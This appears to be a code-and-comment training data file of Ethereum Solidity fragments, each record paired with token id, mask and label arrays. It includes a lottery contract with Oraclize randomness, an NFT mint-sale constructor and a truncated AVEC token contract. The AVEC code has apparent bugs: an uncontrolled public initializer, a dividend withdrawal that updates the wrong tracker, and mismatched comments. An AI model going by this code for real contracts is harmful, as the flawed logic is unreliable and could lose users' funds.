compute the gas cost then register query random function */ function queryRandom() private { ++queryTryCount_; queryRandomTryTime_ = now; /** * base code from https://github.com/oraclize/ethereum-examples/blob/master/solidity/random-datasource/randomExample.sol#L44 */ uint256 delay = 0; uint256 callbackGas = getQueryRandomCallbackGas(); // number of random bytes we want the datasource to return // the max range will be 2^(8*N) uint256 N = 32; // generates the oraclize query queryId_ = oraclize_newRandomDSQuery(delay, N, callbackGas); emit RandomQuery(delay, N, callbackGas, queryCallbackGasPrice_); } /** * @dev Oraclize query random callback */ function queryRandomCallback(bytes32 callbackId, string result, bytes proof) private { uint256 queryRandomTryCount = queryTryCount_ - 1; bytes memory resultBytes = bytes(result); if (resultBytes.length == 0 || oraclize_randomDS_proofVerify__returnCode(callbackId, result, proof) != 0) { emit RandomVerifyFailed(resultBytes, queryRandomTryCount); if (queryRandomTryCount < kQueryRandomMaxTryCount) { // try again queryRandom(); } else { // if fails too many, ostpone to the next query update(); } } else { emit RandomSuccess(resultBytes, queryRandomTryCount); // get correct random result, so do the end action currentCycleEnd(result); } } /** * @dev ends the cycle, mint tokens and randomly out winner */ function currentCycleEnd(string randomResult) private { if (betAmount_ > 1) { // mint tokens mint(); // randomly out winner randomWinner(randomResult); } else { // the amount of betting is zero, to the next query directly update(); } } /** * @dev get mint count per cycle, halved production per 300 cycles. */ function getMintCountOfCycle(uint256 cycleCount) pure public returns(uint256) { require(cycleCount > 0); // halve times uint256 times = (cycleCount - 1) / kMintHalveCycleCount; // equivalent to mintTotalPerCycle / 2**times uint256 total = kMintTotalPerCycle >> times; if (total < kMintTotalMin) { total = 0; } return total; } /** * @dev mint tokens, just add total supply and mint extra to founder team. * mint for normal player will be triggered in the next transaction, can see checkLastMint function */ function mint() private { uint256 normalTotal = getMintCountOfCycle(cycleCount_); if (normalTotal > 0) { // extra to the founder team and add total supply uint256 founderAmount = normalTotal.mul(kMintFounderAdditionalRate) / kTenThousand; YHT.mintToFounder(owner, founderAmount, normalTotal); } } /** * @dev randomly out winner */ function randomWinner(string randomResult) private { require(betAmount_ > 1); // the [0, betAmount) range uint256 value = uint256(sha3(randomResult)) % (betAmount_ - 1); // iteration get winner uint256 betAddrsCount = betAddrsCount_; for (uint256 i = 1; i < betAddrsCount; ++i) { address player = betAddrs_[i]; assert(player != address(0)); uint256 weight = bets_[player].amount; if (value < weight) { // congratulations to the lucky man luckyWin(player, weight); return; } value -= weight; } // can't get here assert(false); } /** * @dev got winner & dividing the earnings & to next cycle */ function luckyWin(address winner, uint256 betValue) private { require(betAmount_ > 1); // dividing the earnings uint256 betAmount = betAmount_ - 1; uint256 amount = betAmount.add(initAmount_); uint256 win = amount.mul(kRewardRate) / kTenThousand; uint256 next = amount.mul(kNextInitRate) / kTenThousand; uint256 earnings = amount.mul(kBonusRate) / kTenThousand; earnings = earnings.sub(referrerEarnings_ - 1); emit Divided(cycleCount_, betAmount, initAmount_, win, next, earnings); // transfer winner earnings YHT.transferExtraEarnings.value(win)(winner); emit LuckyMan(cycleCount_, nextOpenRewardTime_, winner, betValue, win); // transfer bonus earnings to people who hold YHT uint256 bonusRoundId = YHT.transferBonusEarnings.value(earnings)(); // set init amount for next prize pool, clear bet information initAmount_ = next; betCycles_[cycleCount_].amount = betAmount; betCycles_[cycleCount_].bonusRoundId = bonusRoundId; betAmount_ = 1; betAddrsCount_ = 1; betCount_ = 1; betTotalGasprice_ = 1; referrerEarnings_ = 1; // add cycleCount and to next ++cycleCount_; update(); } /** * @dev player transfer to this contract for betting */ function() isActivated isHuman isBetValueLimits(msg.value) public payable { bet(msg.sender, msg.value, 0); } /** * @dev bet with referrer */ function betWithReferrer(uint256 referrerId) isActivated isHuman isBetValueLimits(msg.value) public payable { bet(msg.sender, msg.value, referrerId); } /** * @dev use earnings to bet */ function betFromEarnings(uint256 value, uint256 referrerId) isActivated isHuman isBetValueLimits(value) public { YHT.withdrawForBet(msg.sender, value); bet(msg.sender, value, referrerId); } /** * @dev bet core */ function bet(address player, uint256 value, uint256 referrerId) private { checkMintStatus(player); if (bets_[player].cycleCount == 0) { // first bet in current cycle, so update information bets_[player].cycleCount = cycleCount_; bets_[player].amount = value; betAddrs_[betAddrsCount_++] = player; // check referrer status checkReferrer(player, referrerId); } else { // not first bet in current cycle, add amount bets_[player].amount = bets_[player].amount.add(value); } // update total amount in current cycle betAmount_ = betAmount_.add(value); // update bet count ++betCount_; //transfer earnings to referrer transferReferrerEarnings(player, value); //use to guess gas price betTotalGasprice_ = betTotalGasprice_.add(tx.gasprice); // log event emit NewBet(player, value, bets_[player].amount, betAmount_ - 1, betAddrsCount_ - 1, betCount_ - 1); // check status, sometime query maybe failed check(); } /** * @dev check referrer in first bet, only first bet can bind referrer */ function checkReferrer(address player, uint256 referrerId) private { if (referrers_[player].id == 0) { uint256 id = ++nextReferrerId_; address referrerAddr = referrerIdToAddrs_[referrerId]; if (referrerAddr != address(0)) { referrers_[player].bindReferrerId = referrerId; referrers_[player].bindCycleCount = cycleCount_; ++referrers_[referrerAddr].beBindCount; } referrers_[player].id = id; referrerIdToAddrs_[id] = player; } } /** * @dev transfer earnings to referrer if has bind */ function transferReferrerEarnings(address player, uint256 betValue) private { uint256 bindReferrerId = referrers_[player].bindReferrerId; if (bindReferrerId != 0) { uint256 bindCycleCount = referrers_[player].bindCycleCount; // promotional earnings only for the specified cycle if (cycleCount_ - bindCycleCount < kReferrerEarningsCycleCount) { address referrerAddr = referrerIdToAddrs_[bindReferrerId]; assert(referrerAddr != address(0)); uint256 earnings = betValue.mul(kReferrerRate) / kTenThousand; referrers_[referrerAddr].earnings = referrers_[referrerAddr].earnings.add(earnings); referrerEarnings_ = referrerEarnings_.add(earnings); emit ObtainReferrerEarnings(referrerAddr, referrers_[referrerAddr].beBindCount, player, earnings); } else { // recycling gas referrers_[player].bindReferrerId = 0; referrers_[player].bindCycleCount = 0; } } } /** * @dev get referrer earnings */ function getReferrerEarnings(address addr) view external returns(uint256) { return referrers_[addr].earnings; } /** * @dev withdraw referrer earnings if exists */ function checkReferrerEarnings(address addr) isYHT external { uint256 earnings = referrers_[addr].earnings; if (earnings > 0) { referrers_[addr].earnings = 0; YHT.transferExtraEarnings.value(earnings)(addr); } } /** * @dev get player last mint status */ function getMintStatus(address addr) view private returns(uint256, uint256, bool) { uint256 lastMinAmount = 0; uint256 lastBonusRoundId = 0; bool isExpired = false; uint256 lastCycleCount = bets_[addr].cycleCount; if (lastCycleCount != 0) { // if not current cycle, need mint token if (lastCycleCount != cycleCount_) { uint256 lastTotal = getMintCountOfCycle(lastCycleCount); if (lastTotal > 0) { lastMinAmount = bets_[addr].amount.mul(lastTotal) / betCycles_[lastCycleCount].amount; lastBonusRoundId = betCycles_[lastCycleCount].bonusRoundId; assert(lastBonusRoundId != 0); } isExpired = true; } } return (lastMinAmount, lastBonusRoundId, isExpired); } /** * @dev check player last mint status, mint for player if necessary */ function checkMintStatus(address addr) private { (uint256 lastMinAmount, uint256 lastBonusRoundId, bool isExpired) = getMintStatus(addr); if (lastMinAmount > 0) { YHT.mintToNormal(addr, lastMinAmount, lastBonusRoundId); } if (isExpired) { bets_[addr].cycleCount = 0; bets_[addr].amount = 0; } } /** * @dev check last mint used by the YHT contract */ function checkLastMintData(address addr) isYHT external { checkMintStatus(addr); } /** * @dev clear warnings for unused variables */ function unused(bool) pure private {} /** * @dev get last mint informations used by the YHT contract */ function getLastMintAmount(address addr) view external returns(uint256, uint256) { (uint256 lastMinAmount, uint256 lastBonusRoundId, bool isExpired) = getMintStatus(addr); unused(isExpired); return (lastMinAmount, lastBonusRoundId); } /** * @dev deposit * In extreme cases, the remaining amount may not be able to pay the callback charges, everyone can reactivate */ function deposit() public payable { } /** * @dev withdraw total fees to the founder team */ function withdrawFee() onlyOwner public { uint256 gas = kQueryUrlCallbackGas + getQueryRandomCallbackGas(); // the use of Oraclize requires the payment of a small fee uint256 remain = gas * queryCallbackGasPrice_ + 500 finney; // total amount of Prize pool uint256 amount = (betAmount_ - 1).add(initAmount_); // the balance available uint256 balance = address(this).balance.sub(amount).sub(remain); msg.sender.transfer(balance); emit Withdraw(msg.sender, balance); } /** * @dev get player bet value */ function getPlayerBetValue(address addr) view public returns(uint256) { return bets_[addr].cycleCount == cycleCount_ ? bets_[addr].amount : 0; } /** * @dev get player informations at once */ function getPlayerInfos(address addr) view public returns(uint256[7], uint256[5]) { uint256[7] memory betValues = [ cycleCount_, nextOpenRewardTime_, initAmount_, betAmount_ - 1, betAddrsCount_ - 1, betCount_ - 1, getPlayerBetValue(addr) ]; uint256[5] memory referrerValues = [ nextReferrerId_, referrers_[addr].id, referrers_[addr].bindReferrerId, referrers_[addr].bindCycleCount, referrers_[addr].beBindCount ]; return (betValues, referrerValues); } }
bet total gas price, used to guss gasprice
uint256 public betTotalGasprice_;
1,841,948
[ 1, 70, 278, 2078, 16189, 6205, 16, 1399, 358, 314, 5567, 16189, 8694, 2, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 ]
[ 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 ]
[ 1, 225, 2254, 5034, 1071, 2701, 5269, 27998, 8694, 67, 31, 1171, 9079, 2, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100 ]
./full_match/1/0x71211184d61F0D966fBaD6C0E82B23d4d4b483f2/sources/contracts/mint/NFTMintSale.sol
@notice Initializes the NFTMintSale contract with the vibeFactory address. @param vibeFactory_ The address of the SimpleFactory contract. @param WETH_ The address of the WETH contract
) MintSaleBase(vibeFactory_, WETH_) {}
9,777,735
[ 1, 9685, 326, 423, 4464, 49, 474, 30746, 6835, 598, 326, 331, 495, 73, 1733, 1758, 18, 225, 331, 495, 73, 1733, 67, 1021, 1758, 434, 326, 4477, 1733, 6835, 18, 225, 678, 1584, 44, 67, 1021, 1758, 434, 326, 678, 1584, 44, 6835, 2, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 ]
[ 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 ]
[ 1, 565, 262, 490, 474, 30746, 2171, 12, 90, 495, 73, 1733, 67, 16, 678, 1584, 44, 67, 13, 2618, 203, 2, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100 ]
pragma solidity^0.6.0; /* * Team Equitable Builds Inc presents.. * ====================================* * _____ ___ _______ ______ * * | _ | || | __| __| * * | | | | __| |__ * * |__|__|_____|____|_____| * * * * ====================================* */ contract AVEC{ /*================================= = MODIFIERS = =================================*/ //verify caller address members_ = true modifier onlyMembers(address _customerAddress) { require( // is the customer in the member whitelist? members_[_customerAddress] == true ); // execute _; } //verify caller address founderdevelopers_ = true modifier onlyFounderDevelopers(address _customerAddress) { require( // is the customer in the Founder Developer whitelist? founderdevelopers_[_customerAddress] == true ); // execute _; } //verify caller address ceva_ = true modifier onlyCEVA(address _customerAddress) { require( // is the customer in the ceva whitelist? ceva_[_customerAddress] == true ); // execute _; } modifier onlyAdministrator(address _customerAddress){ require( administrators[_customerAddress] == true ); _; } /*============================== = EVENTS = ==============================*/ event onWithdraw( address indexed customerAddress, uint256 tokensWithdrawn ); // ERC20 event Transfer( address indexed from, address indexed to, uint256 value ); event Burn( address indexed from, uint256 tokens, uint256 propertyValue ); // ERC20 event Approval( address indexed _owner, address indexed _spender, uint256 _value ); event PropertyValuation( address indexed from, bytes32 _propertyUniqueID, uint256 propertyValue ); event PropertyWhitelisted( address indexed from, bytes32 _propertyUniqueID, bool _trueFalse ); event MemberWhitelisted( address indexed from, address indexed to, bool _trueFalse ); event FounderDeveloperWhitelisted( address indexed from, address indexed to, bool _trueFalse ); event CEVAWhitelisted( address indexed from, address indexed to, bool _trueFalse ); event AdminWhitelisted( address indexed from, address indexed to, bool _trueFalse ); /*===================================== = CONFIGURABLES = =====================================*/ string private name = "AlternateVirtualEquityCredits"; string private symbol = "AVEC"; uint8 private decimals = 18; address internal whoaaddress_ = 0x314d0ED76d866826C809fb6a51d63642b2E9eC3e; address internal whoamaintenanceaddress_ = 0x2722B426B11978c29660e8395a423Ccb93AE0403; address internal whoarewardsaddress_ = 0xA9d241b568DF9E8A7Ec9e44737f29a8Ee00bfF53; address internal cevaaddress_ = 0xdE281c22976dE2E9b3f4F87bEB60aE9E67DFf5C4; address internal credibleyouaddress_ = 0xc9c1Ffd6B4014232Ef474Daa4CA1506A6E39Be89; address internal techaddress_ = 0xB6148C62e6A6d48f41241D01e3C4841139144ABa; address internal existholdingsaddress_ = 0xac1B6580a175C1f2a4e3220A24e6f65fF3AB8A03; address internal existcryptoaddress_ = 0xb8C098eE976f1162aD277936a5D1BCA7a8Fe61f5; // founder developer address whitelist archive mapping(address => bool) internal members_; // members whitelist address archive mapping(address => bool) internal founderdevelopers_; // ceva whitelist address archive mapping(address => bool) internal ceva_; // administrator list (see above on what they can do) mapping(address => bool) internal administrators; // setting for allowance function determines amount of tokens address can spend from mapped address mapping (address => mapping (address => uint256)) private _allowed; mapping (address => mapping(bytes32 => bool)) internal mintrequestwhitelist_; mapping (address => mapping(bytes32 => bool)) internal burnrequestwhitelist_; mapping (address => mapping(bytes32 => bool)) internal propertywhitelist_; mapping (address => mapping(bytes32 => uint256)) internal propertyvalue_; mapping(address => bytes32) workingPropertyid_; mapping(address => bytes32) workingMintRequestid_; mapping(address => bytes32) workingBurnRequestid_; /*================================ = DATASETS = ================================*/ // amount of shares for each address (scaled number) mapping(address => uint256) internal tokenBalanceLedger_ ; mapping(address => uint256) internal mintingDepositsOf_; mapping(address => uint256) internal AmountCirculated_; mapping(address => uint256) internal taxesFeeTotalWithdrawn_; mapping(address => uint256) internal taxesPreviousWithdrawn_; mapping(address => uint256) internal taxesFeeSharehold_; mapping(address => uint256) internal insuranceFeeTotalWithdrawn_; mapping(address => uint256) internal insurancePreviousWithdrawn_; mapping(address => uint256) internal insuranceFeeSharehold_; mapping(address => uint256) internal maintenanceFeeTotalWithdrawn_; mapping(address => uint256) internal maintenancePreviousWithdrawn_; mapping(address => uint256) internal maintenanceFeeSharehold_; mapping(address => uint256) internal waECOFeeTotalWithdrawn_; mapping(address => uint256) internal waECOPreviousWithdrawn_; mapping(address => uint256) internal waECOFeeSharehold_; mapping(address => uint256) internal holdoneTotalWithdrawn_; mapping(address => uint256) internal holdonePreviousWithdrawn_; mapping(address => uint256) internal holdoneSharehold_; mapping(address => uint256) internal holdtwoTotalWithdrawn_; mapping(address => uint256) internal holdtwoPreviousWithdrawn_; mapping(address => uint256) internal holdtwoSharehold_; mapping(address => uint256) internal holdthreeTotalWithdrawn_; mapping(address => uint256) internal holdthreePreviousWithdrawn_; mapping(address => uint256) internal holdthreeSharehold_; mapping(address => uint256) internal rewardsTotalWithdrawn_; mapping(address => uint256) internal rewardsPreviousWithdrawn_; mapping(address => uint256) internal rewardsSharehold_; mapping(address => uint256) internal techTotalWithdrawn_; mapping(address => uint256) internal techPreviousWithdrawn_; mapping(address => uint256) internal techSharehold_; mapping(address => uint256) internal existholdingsTotalWithdrawn_; mapping(address => uint256) internal existholdingsPreviousWithdrawn_; mapping(address => uint256) internal existholdingsSharehold_; mapping(address => uint256) internal existcryptoTotalWithdrawn_; mapping(address => uint256) internal existcryptoPreviousWithdrawn_; mapping(address => uint256) internal existcryptoSharehold_; mapping(address => uint256) internal whoaTotalWithdrawn_; mapping(address => uint256) internal whoaPreviousWithdrawn_; mapping(address => uint256) internal whoaSharehold_; mapping(address => uint256) internal credibleyouTotalWithdrawn_; mapping(address => uint256) internal credibleyouPreviousWithdrawn_; mapping(address => uint256) internal credibleyouSharehold_; mapping(address => uint256) internal numberofmintingrequestswhitelisted_; mapping(address => uint256) internal numberofpropertieswhitelisted_; mapping(address => uint256) internal numberofburnrequestswhitelisted_; mapping(address => uint256) internal transferingFromWallet_; uint256 public tokenSupply_ = 0; uint256 public feeTotalHolds_ = 0; uint256 internal cevaBurnerStockpile_ = 0; uint256 internal cevaBurnerStockpileWithdrawn_ = 0; uint256 internal taxesfeeTotalHolds_ = 0; uint256 internal taxesfeeBalanceLedger_ = 0; uint256 internal insurancefeeTotalHolds_ = 0; uint256 internal insurancefeeBalanceLedger_ = 0; uint256 internal maintencancefeeTotalHolds_ = 0; uint256 internal maintenancefeeBalanceLedger_ = 0; uint256 internal waECOfeeTotalHolds_ = 0; uint256 internal waECOfeeBalanceLedger_ = 0; uint256 internal holdonefeeTotalHolds_ = 0; uint256 internal holdonefeeBalanceLedger_ = 0; uint256 internal holdtwofeeTotalHolds_ = 0; uint256 internal holdtwofeeBalanceLedger_ = 0; uint256 internal holdthreefeeTotalHolds_ = 0; uint256 internal holdthreefeeBalanceLedger_ = 0; uint256 internal RewardsfeeTotalHolds_ = 0; uint256 internal RewardsfeeBalanceLedger_ = 0; uint256 internal techfeeTotalHolds_ = 0; uint256 internal techfeeBalanceLedger_ = 0; uint256 internal existholdingsfeeTotalHolds_ = 0; uint256 internal existholdingsfeeBalanceLedger_ = 0; uint256 internal existcryptofeeTotalHolds_ = 0; uint256 internal existcryptofeeBalanceLedger_ = 0; uint256 internal whoafeeTotalHolds_ = 0; uint256 internal whoafeeBalanceLedger_ = 0; uint256 internal credibleyoufeeTotalHolds_ = 0; uint256 internal credibleyoufeeBalanceLedger_ = 0; /*======================================= = MEMBER FUNCTIONS = =======================================*/ /* * -- APPLICATION ENTRY POINTS -- */ constructor() public { } /* * -- APPLICATION ENTRY POINTS -- */ function InitialSet() public { // add the first users //James Admin administrators[0x27851761A8fBC03f57965b42528B39af07cdC42b] = true; //Brenden Admin administrators[0xA9873d93db3BCA9F68aDfEAb226Fa9189641069A] = true; members_[0x314d0ED76d866826C809fb6a51d63642b2E9eC3e] = true; members_[0x2722B426B11978c29660e8395a423Ccb93AE0403] = true; members_[0xdE281c22976dE2E9b3f4F87bEB60aE9E67DFf5C4] = true; members_[0xc9c1Ffd6B4014232Ef474Daa4CA1506A6E39Be89] = true; members_[0xac1B6580a175C1f2a4e3220A24e6f65fF3AB8A03] = true; members_[0xb8C098eE976f1162aD277936a5D1BCA7a8Fe61f5] = true; members_[0xB6148C62e6A6d48f41241D01e3C4841139144ABa] = true; members_[0xA9d241b568DF9E8A7Ec9e44737f29a8Ee00bfF53] = true; members_[0x314d0ED76d866826C809fb6a51d63642b2E9eC3e] = true; members_[0x314d0ED76d866826C809fb6a51d63642b2E9eC3e] = true; } /* * -- APPLICATION ENTRY POINTS -- */ function genesis(address _existcryptoaddress, address _existhooldingsaddress, address _techaddress, address _credibleyouaddress, address _cevaaddress, address _whoaddress, address _whoarewardsaddress, address _whoamaintenanceaddress) public onlyAdministrator(msg.sender) { require(administrators[msg.sender]); // adds the first founder developer here. founderdevelopers_[msg.sender] = true; // adds the _whoaddress input as the current whoa address whoaaddress_ = _whoaddress; // adds the _whoamaintenanceaddress input as the current whoa maintenence address whoamaintenanceaddress_ = _whoamaintenanceaddress; // adds the _whoarewardsaddress input as the current whoa rewards address whoarewardsaddress_ = _whoarewardsaddress; // adds the )cevaaddress_ input as the current ceva address cevaaddress_ = _cevaaddress; // adds the _credibleyouaddress input as the current credible you address credibleyouaddress_ = _credibleyouaddress; // adds the _techaddress input as the current tech address techaddress_ = _techaddress; // adds the __existhooldingsaddress input as the current exist holdings address existholdingsaddress_ = _existhooldingsaddress; // adds the _existcryptoaddress input as the current exist crypto address existcryptoaddress_ = _existcryptoaddress; // adds the first ceva qualified founder developers here. ceva_[msg.sender] = true; numberofburnrequestswhitelisted_[msg.sender] = 0; numberofpropertieswhitelisted_[msg.sender] = 0; numberofmintingrequestswhitelisted_[msg.sender] = 0; // adds the first member here. members_[msg.sender] = true; } /** * Withdraws all of the callers taxes earnings. */ function buyFounderDeveloperLicense(address _FounderDeveloperOne, address _FounderDeveloperTwo, address _CEVA) onlyMembers(msg.sender) public returns(bool _success) { require(founderdevelopers_[_FounderDeveloperOne] == true && ceva_[_CEVA] == true && founderdevelopers_[_FounderDeveloperTwo] == true); // setup data address _customerAddress = msg.sender; uint256 _licenseprice = (1000 * 1e18); if(tokenBalanceLedger_[_customerAddress] > _licenseprice){ tokenBalanceLedger_[_CEVA] = (_licenseprice / 5) + tokenBalanceLedger_[_CEVA]; tokenBalanceLedger_[_FounderDeveloperOne] = (_licenseprice / 5) + tokenBalanceLedger_[_FounderDeveloperOne]; tokenBalanceLedger_[_FounderDeveloperTwo] = (_licenseprice / 10) + tokenBalanceLedger_[_FounderDeveloperTwo]; tokenBalanceLedger_[_customerAddress] = tokenBalanceLedger_[_customerAddress] - _licenseprice; founderdevelopers_[_customerAddress] = true; return true; } else { return false; } } /** * Withdraws all of the callers taxes earnings. */ function withdrawTaxesdividends() public { // setup data address _customerAddress = msg.sender; uint256 _dividends = EtaxesdividendsOf(msg.sender); // update dividend tracker taxesFeeTotalWithdrawn_[_customerAddress] += _dividends; tokenBalanceLedger_[_customerAddress] += _dividends; // fire event emit onWithdraw(_customerAddress, _dividends); } /** * Withdraws all of the callers taxes earnings. */ function withdrawInsurancedividends() public { // setup data address _customerAddress = msg.sender; uint256 _dividends = EinsurancedividendsOf(msg.sender); // update dividend tracker insuranceFeeTotalWithdrawn_[_customerAddress] += _dividends; tokenBalanceLedger_[_customerAddress] += _dividends; // fire event emit onWithdraw(_customerAddress, _dividends); } /** * Withdraws all of the callers taxes earnings. */ function withdrawMaintenancedividends() public { // setup data address _customerAddress = msg.sender; uint256 _dividends = EmaintenancedividendsOf(msg.sender); // update dividend tracker maintenanceFeeTotalWithdrawn_[_customerAddress] += _dividends; tokenBalanceLedger_[_customerAddress] += _dividends; // fire event emit onWithdraw(_customerAddress, _dividends); } /** * Withdraws all of the callers taxes earnings. */ function withdrawwaECOdividends() public { // setup data address _customerAddress = msg.sender; uint256 _dividends = EwaECOdividendsOf(msg.sender); // update dividend tracker maintenanceFeeTotalWithdrawn_[_customerAddress] += _dividends; waECOFeeTotalWithdrawn_[_customerAddress] += _dividends; // fire event emit onWithdraw(_customerAddress, _dividends); } /** * Withdraws all of the callers taxes earnings. */ function withdrawHoldOnedividends() public { // setup data address _customerAddress = msg.sender; uint256 _dividends = EholdonedividendsOf(msg.sender); // update dividend tracker holdoneTotalWithdrawn_[_customerAddress] += _dividends; tokenBalanceLedger_[_customerAddress] += _dividends; // fire event emit onWithdraw(_customerAddress, _dividends); } /** * Withdraws all of the callers taxes earnings. */ function withdrawHoldTwodividends() public { // setup data address _customerAddress = msg.sender; uint256 _dividends = EholdtwodividendsOf(msg.sender); // update dividend tracker holdtwoTotalWithdrawn_[_customerAddress] += _dividends; tokenBalanceLedger_[_customerAddress] += _dividends; // fire event emit onWithdraw(_customerAddress, _dividends); } /** * Withdraws all of the callers taxes earnings. */ function withdrawHoldThreeedividends() onlyMembers(msg.sender) public { // setup data address _customerAddress = msg.sender; uint256 _dividends = EholdthreedividendsOf(msg.sender); // update dividend tracker holdthreeTotalWithdrawn_[_customerAddress] += _dividends; tokenBalanceLedger_[_customerAddress] += _dividends; // fire event emit onWithdraw(_customerAddress, _dividends); } /** * Withdraws all of the callers taxes earnings. */ function withdrawRewardsdividends() public { // setup data address _customerAddress = msg.sender; uint256 _dividends = ErewardsdividendsOf(msg.sender); // update dividend tracker rewardsTotalWithdrawn_[_customerAddress] += _dividends; tokenBalanceLedger_[_customerAddress] += _dividends; // fire event emit onWithdraw(_customerAddress, _dividends); } /** * Withdraws all of the callers taxes earnings. */ function withdrawTechdividends() public { // setup data address _customerAddress = msg.sender; uint256 _dividends = EtechdividendsOf(msg.sender); // update dividend tracker techTotalWithdrawn_[_customerAddress] += _dividends; tokenBalanceLedger_[_customerAddress] += _dividends; // fire event emit onWithdraw(_customerAddress, _dividends); } /** * Withdraws all of the callers taxes earnings. */ function withdrawExistHoldingsdividends() public { // setup data address _customerAddress = msg.sender; uint256 _dividends = existholdingsdividendsOf(msg.sender); // update dividend tracker existholdingsTotalWithdrawn_[_customerAddress] += _dividends; tokenBalanceLedger_[_customerAddress] += _dividends; // fire event emit onWithdraw(_customerAddress, _dividends); } /** * Withdraws all of the callers taxes earnings. */ function withdrawExistCryptodividends() public { // setup data address _customerAddress = msg.sender; uint256 